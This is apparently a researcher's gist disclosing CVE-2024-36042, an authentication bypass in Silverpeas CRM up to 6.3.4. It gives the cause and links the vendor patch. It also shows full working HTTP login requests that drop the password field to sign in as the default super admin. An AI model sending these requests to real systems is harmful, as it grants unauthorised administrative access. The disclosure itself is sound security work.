Skip to content

Instantly share code, notes, and snippets.

@ChrisPritchard
Last active June 18, 2024 07:58
Show Gist options
  • Save ChrisPritchard/4b6d5c70d9329ef116266a6c238dcb2d to your computer and use it in GitHub Desktop.
Save ChrisPritchard/4b6d5c70d9329ef116266a6c238dcb2d to your computer and use it in GitHub Desktop.

Exploit Title: Silverpeas CRM - Authentication Bypass

Date of found: 12/05/2024

Exploit Author: Chris Pritchard chris@grislygrotto.nz

Version: V1.0

Tested on: 6.3.4

Fixed in: 6.3.5

Vendor Homepage: https://silverpeas.org/

CVE: CVE-2024-36042

Silverpeas up to and including 6.3.4 is vulnerable to a trivial authentication bypass. When authenticating, if the sender omits the password form field, the application will sign you in as the user specified without any challenge.

E.g. the standard login request will look like this:

POST /silverpeas/AuthenticationServlet HTTP/2
Host: 212.129.58.88
Content-Length: 28
Origin: https://212.129.58.88
Content-Type: application/x-www-form-urlencoded

Login=SilverAdmin&Password=SilverAdmin&DomainId=0

This will fail login (unless they have forgotten to change the default password) and you will be redirected back to the login page with an error code.

But if you remove the password field like this:

POST /silverpeas/AuthenticationServlet HTTP/2
Host: 212.129.58.88
Content-Length: 28
Origin: https://212.129.58.88
Content-Type: application/x-www-form-urlencoded

Login=SilverAdmin&DomainId=0

Then the login attempt will (usually) succeed and redirect you to the main page, now logged in as a super admin.

The bug works with any valid user, but SilverAdmin is the default super admin.

Cause

The issue was a failure in how the app handled different login methods. The code that authenticated the user by username would assume if a password had not been sent then it was a SSO-based login, where no password was required. This was patched as bug #14156, where they set an 'remotely authenticated' flag intially and check that later rather than just checking if the password value is null: https://github.com/Silverpeas/Silverpeas-Core/commit/11fb5e21c252ce4751b85fccf5b8076156e0b4f0

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment